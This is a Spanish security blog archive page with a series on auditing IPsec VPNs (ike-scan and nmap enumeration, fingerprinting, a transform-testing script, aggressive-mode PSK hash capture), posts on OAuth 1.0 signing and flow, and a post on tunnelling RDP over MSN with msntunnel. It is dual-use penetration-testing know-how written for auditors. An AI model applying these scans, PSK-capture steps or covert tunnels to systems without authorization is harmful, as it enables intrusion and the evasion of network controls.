Mostrando entradas con la etiqueta Protocolos. Mostrar todas las entradas
Mostrando entradas con la etiqueta Protocolos. Mostrar todas las entradas

10 de febrero de 2014

Auditando VPNs (V): Modo Agresivo

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Como ya comenté en la primera entrada de esta serie, el modo agresivo (Aggressive Mode) se suele utilizar en combinación con el mecanismo de autenticación PSK (Pre-Shared Key) y es la alternativa al Main Mode. Según el estándar, el main mode debería estar implementado en todos los concentradores de VPN, mientras que el aggressive mode es opcional.

La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:

La siguiente secuencia muestra el intercambio de claves en modo principal (main mode) con PSK:

      Initiator                     Responder
     -----------                   -----------
      HDR, SA             -->
                          <--      HDR, SA
      HDR, KE, Ni         -->
                          <--      HDR, KE, Nr
      HDR*, IDii, HASH_I  -->
                          <--      HDR*, IDir, HASH_R

Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.

La secuencia siguiente muestra la misma negociación pero en modo agresivo (aggressive mode):

      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii -->
                          <-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           -->

En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al "Responder" (el servidor de VPN). El tercer y último mensaje autentica al "Initiator" y proporciona la "prueba de participación" en el intercambio.

Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).

Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como PGPNet podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.

Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.

Otra de las diferencias entre ambos modos es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...

¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.

Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.

Veamos el siguiente ejemplo:

$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify

Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:
  • ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227). 
  • Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).
  • Hash: es el valor que autentica al servidor. 
Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)




27 de enero de 2014

Auditando VPNs (IV): Cifrado

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Después del gran parón que he sufrido durante un año, continúo con la auditoría de VPN basadas en IPsec por donde lo dejé. En esta entrega toca hablar de los cifrados soportados por el servidor/concentrador de VPNs.

Cuando un cliente trata de conectarse a un servidor, lo hace utilizando una determinada combinación de parámetros, que se conoce como transformada (transform). Existen un total de 16 atributos que se pueden configurar, aunque los más frecuentes son:
  • Algoritmo de Cifrado (1)
  • Algoritmo de Hash (2)
  • Método de Autenticación (3)
  • Grupo Diffie-Hellman (4)
Nota: Observa el número que he puesto entre paréntesis, porque lo vamos a utilizar luego, ya que las transformadas se definen asignando un valor a cada variable que se representa por dicho número.

Otros posibles atributos son: Group Prime/Irreducible Polynomial, Group Generator One and Two, Group Curve A and B, Life Type, Life Duration...

Cada parámetro se puede configurar con una serie de valores predefinidos que depende de la versión del protocolo que se esté utilizando. La versión 2 de IKE, por ejemplo, soporta más algoritmo de cifrado que la versión 1. Por otro lado, no todos los algoritmos tienen por qué estar soportados en el servidor de VPNs.

Las siguientes tablas muestran los valores más frecuentes de los cuatro parámetros principales (consulta la especificación para las tablas completas):

Valor Algoritmo  Comentario 
1 DES Común
2 IDEA Muy raro
3 Blowfish Raro
4 RC5 Muy raro
5 Triple DES   Común
6 CAST Raro
7 AES Común
8 Camellia Muy raro
Algoritmos de cifrado


Valor Algoritmo  Comentario 
1 MD5 Común
2 SHA1 Común
3 Tiger Raro
4 SHA2-256 Raro
5 SHA2-384 Raro
6 SHA2-512  Raro
Algoritmos de hash


Valor Algoritmo  Comentario 
1  Pre-Shared Key (PSK)  Común
2 DSS Signature Muy raro
3 RSA Signature Común
4 RSA Encryption Muy raro
5   Revised RSA Encryption   Muy raro
64221 Hybrid Mode Común
65001 XAUTH Común
Métodos de Autenticación


Valor Algoritmo  Comentario 
1 MODP 768   Común
2   MODP 1024   Común
3 EC2N 155 Muy raro
4 EC2N 185 Muy raro
5 MODP 1536 Raro
Grupos Diffie-Hellman

Una vez visto los valores más comunes, vamos a ver cómo especificar una determinada transformada con ike-scan. Para ello usaremos el parámetro "--trans". Fíjate en los siguientes ejemplos:

--trans=7/256,2,1,2 -> SA=(Enc=AES KeyLength=256 Hash=SHA1 Auth=PSK Group=2:modp1024)

Si no se especifica directamente, el primer atributo será el algoritmo de cifrado, el segundo el de hash y así... En el orden de los números de los que hablaba al principio del post.

--trans="(1=5,2=2,3=3,4=2)" -> SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024)

--trans="(4=2,3=3,2=2,1=5)" -> SA=(Group=2:modp1024 Auth=RSA_Sig Hash=SHA1 Enc=3DES)

Si queremos tan sólo definir algún parámetro o queremos definir la transformada en el orden que nos parezca bien, entonces asignamos directamente el valor que nos interese a la variable en cuestión indicando su número (1=5 significa que como algoritmo de cifrado (1), elegimos 3DES (valor 5 en la tabla)).

Ahora os estaréis preguntando: ¿y todo esto para qué? Pues la respuesta es sencilla. Del mismo modo que en SSL se suele recomendar no utilizar cifrados que se consideran débiles, en IPsec tampoco es recomendable utilizar ciertos algoritmos. En concreto se desaconsejan los siguientes algoritmos:
  • DES como algoritmo de cifrado.
  • MD5 como algoritmo de hash.
  • MOD768 como grupo Diffie-Hellman.
Y para comprobarlo, me temo que no queda otra que crear muuuuuchas combinaciones para ver si alguna acepta alguno de estos algoritmos. Es decir, DES puede estar siendo aceptado con SHA1 y MOD1024, por ejemplo, pero no con MD5 y MOD768 directamente.

Por otro lado, si recuerdas lo que comentaba en la entrada sobre enumeración, muchas veces somos capaces de identificar el servicio pero no encontramos una transformada que la acepte el servidor.

Así que para realizar varias transformadas de manera cómoda, yo suelo utilizar un script similar al siguiente:

#!/bin/sh
#
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo >> $2
            echo "Transform: $ENC,$HASH,$AUTH,$GROUP" >> $2
            ike-scan --trans=$ENC,$HASH,$AUTH,$GROUP -M $1 >> $2
         done
      done
   done
done

Lo único que hace este script es probar varias transformadas e ir almacenando todos los resultados en un fichero. Se ejecutaría de la siguiente manera:

# script.sh 10.0.0.2 fichero_resultados.txt

Luego, mirar el fichero a mano puede ser un poco lata, así que basta tirar de grep para sacar los resultados que realmente nos interesan:

$ cat fichero_resultados.txt | grep -B 4 "SA="

Y así tendremos el listado de todas las transformadas aceptadas por el concentrador de VPNs.

¡Ojo! El script está hecho para probar los algoritmos más comunes. Si quisieras probar más o menos basta con que modifiques el valor de las variables ENCLIST, HASHLIST, AUTHLIST y GROUPLIST.


26 de noviembre de 2012

Auditando VPNs (III): Fingerprinting

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Una vez que hemos detectado que la VPN se está ejecutando, conviene saber el tipo de dispositivo con el que estamos trabajando.

Existen dos mecanismos principales para identificar el tipo de servidor que está ejecutando el servicio de VPN. El primero de ellos consiste en la manera que tiene el servidor de responder a las peticiones de un cliente de establecer una conexión con él. Me explico...

IKE funciona bajo UDP, que es un protocolo no orientado a conexión. Por este motivo, no hay ninguna manera de saber si un paquete ha llegado a su destinatario más allá que esperar a recibir la respuesta a dicho paquete. Si la respuesta no se recibe, se puede entender que el paquete se perdió, en cuyo caso podría ser necesario reenviarlo.

El primer método de fingerprinting, por tanto, consiste en enviar un paquete al servidor y esperar su respuesta. En una conexión normal, el cliente debería continuar la comunicación con el servidor pero, ¿qué pasa si no se continúa? El servidor esperará un tiempo determinado y reenviará el paquete. Así un número determinado de veces hasta que deje de intentarlo.

La RFC de IKE no establece cómo se debe llevar a cabo el reenvío de paquetes (backoff en inglés), por lo que cada fabricante implementa su propio algoritmo, cambiando los tiempos entre un reenvío y el siguiente y el número de reenvíos total. Esto permite identificar el tipo de servidor que está ofreciendo el servicio de VPN.

A este mecanismo se le conoce como UDP Backoff Fingerprinting.

Ike-scan tiene una base de datos con los diferentes tiempos de respuesta de diferentes fabricantes, por lo identificar el fabricante puede resultar bastante sencillo con la opción --showbackoff:

$ sudo ike-scan --showbackoff  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=a7a845233446a9e5)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.48.226.227   1       1351694781.627450       0.000000
10.48.226.227   2       1351694791.638280       10.010830
10.48.226.227   3       1351694811.659880       20.021600
10.48.226.227   Implementation guess: Linux FreeS/WAN, OpenSwan, strongSwan

Ending ike-scan 1.9: 1 hosts scanned in 90.134 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify

Hay que tener paciencia con este comando, ya que el reenvío entre paquetes puede tardar bastante. Si te fijas en la columna "Delta Time", el primer reenvío se hace tras esperar 10 segundos, pero entre el segundo y el tercero, el servidor se espera 20 segundos.

Finalmente, ike-scan determina que el servicio VPN lo está ofreciendo Linux FreeS/WAN, OpenSwan ó strongSwan. Como aporte decir que, al menos en este caso, no se equivoca ya que el servidor con el que realicé las pruebas es un OpenSwan.

El segundo mecanismo para identificar el tipo de servidor que está ejecutando el servicio VPN está ligado al Vendor ID o VID.

El VID es un identificador único que determina la implementación de IKE que está siendo usada. Cada fabricante (vendor) utiliza un VID único, por lo que conociéndolo debería ser suficiente para identificarlo.

En el ejemplo anterior, el VID es "4f45755c645c6a795c5c6170" que, si buscamos en Internet podemos comprobar que está asociado a OpenSwan.

Así parece sencillo identificar el fabricante. El problema es que lo habitual es que el servidor no indique el VID a menos que el cliente lo envíe previamente y, para ello, hay que conocer el fabricante. En la documentación oficial de ike-scan se puede obtener un listado de VIDs con los que probar:

http://www.nta-monitor.com/wiki/index.php/IKE_Implementation_Analysis

La opción "--vendor" de ike-scan permite indicar el fabricante con el que queremos probar a la espera de que sea el usado por el servidor y éste nos lo confirme devolviéndolo de nuevo en su respuesta.


4 de noviembre de 2012

Auditando VPNs (II): Enumeración

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Tras el rápido repaso que hice sobre IPsec en la entrada anterior, vamos a ver cómo identificar un concentrador/servidor de VPNs basado en IPsec.

Por defecto, el protocolo IKE se ejecuta en el puerto 500 UDP, por lo que en principio un simple escáner de puertos debería bastar para identificarlo:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.227

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 16:25 CET
Nmap scan report for 10.48.226.227
Host is up (0.00088s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp
MAC Address: 08:00:27:12:F5:94 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

Nmap nos dice que el servicio está ahí, pero no nos aporta mucha más información. Herramientas más específicas como ike-scan o IKEProbe nos pueden aportar más información de una sola pasada:

$ sudo ike-scan  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=8d0a997d0846794f)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (66.44 hosts/sec).  1 returned handshake; 0 returned notify

Nota: La opción --multiline (-M) de ike-scan tan sólo sirve para que la información la presente en varias líneas y seas más legible.

En el ejemplo anterior, vamos que se ha podido establecer una conexión utilizando el Main Mode. Además, se han negociado los atributos que se utilizarían para definir el túnel (Security Association ó SA) que se utilizará en la segunda fase del protocolo IKE.

Los atributos seleccionados son 3DES como algoritmo de cifrado, SHA1 como algoritmo de hash, PSK como método de autenticación y el grupo 2 (modp1024) para el algoritmo Diffie-Hellman. Al conjunto de todos los atributos se le denomina transform.

Sin embargo, no siempre obtenemos una respuesta parecida a la anterior cuando lanzamos ike-scan. Veamos un ejemplo:

$ sudo ike-scan --multiline 10.48.226.228
10.48.226.228   Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=03c337535f8887a3)

En este caso, vemos que el servidor nos devuelve una notificación con el mensaje NO-PROPOSAL-CHOSEN. Esto significa que el servicio está ahí pero estamos en alguno de los dos siguientes escenarios:
  • El servidor de VPNs tiene filtrado por IP, por lo que no nos podremos conectar mientras no sea desde alguna de las que tiene en su lista de direcciones permitidas.
  • No estamos usando ninguna transform soportada por el servidor. 
Fíjate que he dicho "ninguna" y no "una". Esto es así porque por defecto, ike-scan envía 8 transforms para que el servidor escoja una. Las opciones que manda son las ocho combinaciones posibles que salen con los siguientes parámetros:
  • Para algoritmo de cifrado: DES y 3DES
  • Para algoritmo de hash: MD5 y SHA-1
  • Para grupo de Diffie-Hellman: 1 (modp768) y 2 (modp1024)
Además, el método de autenticación siempre es PSK y la duración del túnel (SA Lifetime) 28800 segundos.

Si nos encontráramos en este caso, tendríamos que probar diferentes transforms hasta que diéramos con la adecuada. Si no lo conseguimos, entonces no hay mucho más que hacer porque estaríamos en el caso de que existe una lista de IPs permitidas desde las que se puede establecer la conexión con el servidor.

Pero en este caso, en el que el servidor de VPN nos devuelva una notificación, ¿nmap también detecta el servicio? Pues la respuesta es que no siempre:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.228

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 17:16 CET
Nmap scan report for 10.48.226.228
Host is up (0.43s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp?

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.35 seconds

Sí, nos dice que el puerto está abierto, pero no es capaz de identificar el servicio. Moraleja: cuando tengas duda de si realmente es un servicio VPN, utiliza ike-scan.

Nota: El cómo probar con diferentes transforms lo veremos más adelante, en la cuarta entrega, cuando hablemos del cifrado.

En la próxima parte veremos cómo identificar el tipo de servidor que está sirviendo el servicio de VPN.

31 de octubre de 2012

Auditando VPNs (I): Introducción a IPsec

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Durante las auditorías externas es muy común encontrarse con concentradores de VPN y no siempre sabemos qué tipo de pruebas realizar sobre estos sistemas.

En una serie de entradas voy a tratar las pruebas más frecuentes que se deben realizar sobre este tipo de dispositivos, centrándonos siempre en las VPN basadas en IPsec (no las basadas en SSL).

En esta entrada voy a comenzar hablando por el principio, introduciendo los conceptos básicos con los que trataremos en el resto de entradas.

Según Wikipedia, IPsec (Internet Protocol security) es un conjunto de protocolos cuya función es asegurar las comunicaciones sobre el Protocolo de Internet (IP) autenticando y/o cifrando cada paquete IP en un flujo de datos además de proveer de un mecanismo para el establecimiento de claves de cifrado.

IPsec, por tanto, está formado por tres protocolos:

  • Authentication Header (AH): Este protocolo se utiliza para proporcionar integridad a nivel de paquete por medio de un checksum que se envía junto al paquete. Otros servicios que proporciona son autenticación del origen de los datos y, opcionalmente, protección frente a ataques de replay.
  • Encapsulating Security Payload (ESP): Este protocolo cifra la comunicación punto a punto, proporcionando confidencialidad. También proporciona autenticación del origen de los datos, protección frente a ataques de replay e integridad.
  • Internet Key Exchange (IKE): Es el encargado de llevar a cabo el intercambio de claves que serán utilizadas por cualquiera de los otros dos protocolos. 

De la información anterior nos quedamos con que:

  1. IKE se ejecuta primero y, de llegar a realizar correctamente la autenticación, entonces se realiza un túnel (ESP) o simplemente se autentican los paquetes (AH). Por lo que frente a un concentrador de VPNs, tendremos que comenzar analizando el protocolo IKE.
  2. AH no cifra las comunicaciones. Tan sólo ESP proporciona cifrado. Por lo que si la VPN funcionara tan sólo con AH, no se estaría cifrando ninguna comunicación entre los clientes y el concentrador de VPNs.

El protocolo IKE funciona en dos fases. En la primera de ellas, se lleva a cabo la autenticación y se crea un canal seguro que será utilizado durante la fase dos. En la segunda fase se configura un canal diferente que será el utilizado para todas las comunicaciones realizadas a través de ESP o AH.

La primera de las fases IKE, soporta dos modos de funcionamiento diferentes: el Main Mode y el Aggressive Mode. El Main Mode es el modo principal (evidentemente) y todos los concentradores de VPN deben soportarlo. En este modo se utiliza el algoritmo Diffie-Hellman para llevar a cabo el intercambio de claves entre el cliente y el servidor.

El Aggressive Mode, a diferencia, no tiene por qué estar implementado en todos los servidores de VPN y se suele utilizar para permitir el uso de claves pre-compartidas (Pre-Shared Key, PSK), ya que el Main Mode no soporta el uso de PSK (actualización 27/01/2014: El Main Mode sí soporta PSK, aunque es menos habitual que en el Aggressive Mode). Este modo tiene ciertas debilidades que iremos viendo a lo largo del resto de entradas.

2 de septiembre de 2011

El protocolo de autenticación OAuth. Métodos de firma (IV)


En la entrada anterior del hilo vimos cuál es el proceso que sigue un usuario para autorizar a una aplicación cliente acceder a sus recursos. A partir de ese momento, todas las peticiones que la aplicación cliente realiza al servidor identifican tanto a ésta como al usuario pero ¿cómo hace para que el servidor sepa con qué usuario se corresponde y a través de qué aplicación está accediendo? Fácil, por medio de firma digital.

OAuth soporta tres tipos de "firma" digital: HMAC-SHA1, RSA-SHA1 y PLAINTEXT (aunque éste último no es un tipo de firma como ahora veremos, de ahí las comillas). El método de firma a utilizar en cada caso depende únicamente de la elección que haga el servidor, ya que son las aplicaciones cliente las que tienen que adaptarse a la implementación que se haya hecho de OAuth. De este modo los servidores, al publicar sus APIs, especifican el tipo o tipos de firma que soportan.

Aquellos que sepan algo de criptografía y conozcan los algoritmos de firma digital sabrán que para llevarse a cabo hace falta, por un lado, una cadena o un mensaje que será lo que se va a firmar y, por otro lado, una clave con la que realizar la firma. En el caso de utilizar un algoritmo de firma simétrica, será necesario que la clave la conozcan ambas partes de la comunicación para que una pueda verificar que la firma de la otra parte es correcta. Sin embargo, si se utiliza firma asimétrica, la parte firmante utilizará su clave privada (que es secreta) para que el destinatario pueda verificarla con la clave pública que recibió anteriormente.

En el caso de OAuth, el algoritmo simétrico soportado es HMAC-SHA1 mientras que el asimétrico es RSA-SHA1. En ambos casos, la cadena (el mensaje) que se firma se calcula de la misma forma, que viene a ser la concatenación (por medio de '&') del método HTTP utilizado en la petición (GET, POST, PUT, DELETE...), la URI base normalizada y un listado de todos los parámetros enviados en la petición ordenados y normalizados.

Entre los parámetros no sólo se incluyen aquellos que van por GET o POST, sino también partes de la cabecera HTTP Authorization, que es a través de la que se suelen enviar los parámetros de OAuth (aunque también se pueden añadir en la URL o en el cuerpo de la petición).

Vamos a verlo con un ejemplo. Imaginad la siguiente petición HTTP:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Content-Length: 17

param_POST=value2

Antes de generar la cadena, tenemos que añadirle los parámetros OAuth que servirán para identificar esta petición. Dichos parámetros son:

  • oauth_consumer_key: el consumer key asociado al cliente.
  • oauth_nonce: un token de petición que será único (en combinación con el timestamp, consumer_key y token).
  • oauth_signature_method: método de firma utilizado (HMAC-SHA1, RSA-SHA1 ó PLAINTEXT).
  • oauth_timestamp: Unix timestamp del momento de la petición.
  • oauth_token: access token del usuario (del resource owner).
  • oauth_version: versión de OAuth. Lo más normal es que sea "1.0"

Ahora sí, la cadena resultante será (con valores de ejemplo para los parámetros anteriores):

POST&https%3A%2F%2Fexample.com%2Frecurso.html&oauth_consumer_key%3Dg1S1C08SXq2j%26oauth_nonce%3DT45y1iVuU56v%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1314969840%26oauth_token%3D1KbuMvTOPSA3%26oauth_version%3D1.0%26param_GET%3Dvalue1%26param_POST%3Dvalue2

Ahora aplicamos el algoritmo de firma que hayamos seleccionado (en el ejemplo HMAC-SHA1). En este caso, la clave se construye concatenando (&) el consumer secret y el access secret: Cj6mkF3ug1Ac&eAPJQ9g8xh2B. De manera que el resultado de la firma es (en base64):

N+T8THCg9CHknmt50UNTPZE3ZAk=

Al final, la petición quedaría de la siguiente manera:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Authorization: OAuth realm="https://example.com/recurso.html",
    oauth_consumer_key="g1S1C08SXq2j",
    oauth_token="1KbuMvTOPSA3",
    oauth_nonce="T45y1iVuU56v",
    oauth_timestamp="1314969840",
    oauth_signature_method="HMAC-SHA1",
    oauth_version="1.0",
    oauth_signature="N%2BT8THCg9CHknmt50UNTPZE3ZAk%3D"
Content-Length: 17

param_POST=value2

De este modo, en la petición se recoge desde qué aplicación se está accediendo (consumer key y consumer secret) y en nombre de qué usuario (access token y access secret). Además se provee de integridad en la petición por el simple hecho de ir firmada y de un mecanismo contra ataques de replay (reenvío de peticiones) por medio del nonce y el timestamp.

En el caso de RSA-SHA1, se utiliza el algoritmo RSASSA-PKCS1-v1_5:

oauth_signature = RSASSA-PKCS1-v1_5 (K, M)

siendo M la cadena que hemos creado antes y K la clave RSA privada del cliente.

El caso de PLAINTEXT es diferente debido a que no se llega a firmar ninguna cadena. En este caso, el valor del parámetros oauth_signature se construye como la concatencación (&) consumer secret y el access secret, que se envían en texto plano.

Como podréis imaginaros, este mecanismo sólo es recomendable en el caso de utilizar un canal seguro como pueden ser SSL o TLS. De no ser así (o si se llevara a cabo un ataque Man-in-the-Middle), se podrían suplantar las identidades del cliente y del usuario ante el servidor; es decir, se podría acceder a los recursos del usuario en nombre del cliente.

Si queréis ver cómo funciona todo esto de un modo más práctico, os recomiendo el siguiente enlace:

http://hueniverse.com/2008/10/beginners-guide-to-oauth-part-iv-signing-requests/

¡Hasta la próxima entrada!

16 de agosto de 2011

(Ab)Usando del protocolo MSN (y II)

Buscando por esos lugares he encontrado algo, desde mi punto de vista, bastante interesante: cómo (ab)usar del protocolo MSN un poco más a fondo que en la entrada anterior.

El programilla del que os estoy hablando es msntunnel y lo podéis encontrar aquí:

http://www.flu-project.com/msntunnel-tuneliza-conexiones-tcp-usando-msn-messenger.html

Una explicación visual servirá más que todo el rollo que os pueda largar.

Usamos dos cuentas de MSN, tal y como teníamos en el post anterior sobre el (ab)uso de Hotmail. Nos conectamos con cada cuenta y con el programa en dos sistemas distintos, de forma que podamos conectar ambas máquinas entre ellas a través del servidor de MSN.


La idea es enlazar uno de los puertos de uno de los hosts con el otro, de forma que al conectarnos a él, podamos controlar el segundo. Las pruebas, para que se vea hasta qué punto se puede llegar las he realizado con un escritorio remoto, pero perfectamente se
puede realizar un telnet, un ssh o cualquier otra conexión.

La conexión a un lado tendría que realizarse de la siguiente forma:

python msntunnel.py -u cuenta2@hotmail.es -p pass2 -r cuenta1@hotmail.es -L 3389

En el otro habría que poner lo siguiente:

python msntunnel.py -u cuenta1@hotmail.es -p pass2 -r cuenta2@hotmail.es -R 127.0.0.1 -P 3389

Un par de capturas para que se vea como quedarían las conexiones:


En el segundo sistema ejecutamos el comando en cuestión y nos aparecería esto:


Al mismo tiempo, en este segundo sistema, como prueba de que esto funciona, podríamos conectarnos al puerto 3389 con tsclient (rdesktop) a localhost, que enlazaría al rdesktop del Windows:


Hay que avisar que no es especialmente rápido, no obstante, no está diseñado para esto. Sin embargo, otros protocolos más ligeros como telnet o cualquiera en línea de comando funcionarían perfectamente.

Existen algunas librerías que os harán la vida un poco más fácil:
http://blitiri.com.ar/p/msnlib/
http://telepathy.freedesktop.org/wiki/Pymsn
http://www.msncp.com.ar/

“Cualquier parecido con la realidad, es verdad (que se lo pregunten al que programó esto)”

8 de agosto de 2011

El protocolo de autenticación OAuth. Flujo de Autenticación (III)


Una vez que conocemos los actores que intervienen en la autenticación por OAuth, veamos cómo se lleva a cabo.

Cuando queremos desarrollar una aplicación (un cliente) para un servicio (twitter para continuar con nuestro ejemplo de la entrada anterior), lo primero que hay que hacer es registrar la que será nuestra aplicación. En ese momento, twitter nos dará un par de credenciales de cliente (o lo que es lo mismo, el consumer key y el consumer secret) con las que nuestra aplicación deberá firmar todas las peticiones que realice a los servidores de twitter.

Veamos el flujo completo en el siguiente diagrama. Las flechas de color rojo se corresponden con las peticiones que realiza el cliente a twitter. Las verdes son respuestas de twitter al cliente. La flecha de color azul se corresponde con el proceso que realiza el usuario a mano:

Flujo OAuth.

Cuando un usuario quiera utilizar nuestro cliente, lo primero que tendrá que hacer éste último es solicitar a twitter unas credenciales temporales (request token y request secret). Este proceso se corresponde con los pasos 1 y 2 del diagrama.

A continuación, nuestro cliente redirigirá al usuario a la Web de twitter (paso 3) indicando el request token que se nos ha facilitado. El usuario inicia sesión en twitter, que le preguntará si autoriza a nuestra aplicación a acceder a sus recursos (paso 4).

Suponiendo que el cliente autorice la aplicación, twitter redirigirá de vuelta al usuario a nuestro cliente si éste se tratara de una aplicación Web (paso 5). En esta petición se indicará un PIN denominado oauth_verifier que será utilizado más adelante.

Para que la redirección sea posible, cuando se solicitan las credenciales temporales en el paso 1, también se indica la URL a la que queremos que twitter redirija al usuario.

En el caso de que nuestro cliente sea una aplicación de escritorio, de teléfono móvil, etc. (en general cualquiera a la que no se pueda realizar la redirección) se sustituye la URL de callback por el valor "oob" (out-of-band). Esto indicará a twitter que basta con que comunique al usuario el oauth_verifier para que sea éste quien lo introduzca directamente en el cliente.

Una vez que el cliente conoce el oauth_verifier, lo envía de vuelta a twitter para solicitar el token de usuario. El servidor responderá a esta petición con el access token y access secret (pasos 6 y 7), lo que finaliza la autenticación por OAuth.

Todas las peticiones que el cliente realice a partir de ese momento, irán firmadas por una combinación del consumer secret y el access secret. De este modo, se identifica en todo momento al usuario y el cliente desde el que se realiza la petición y, de este modo, twitter puede determinar a qué información puede tener acceso y a cuál no.

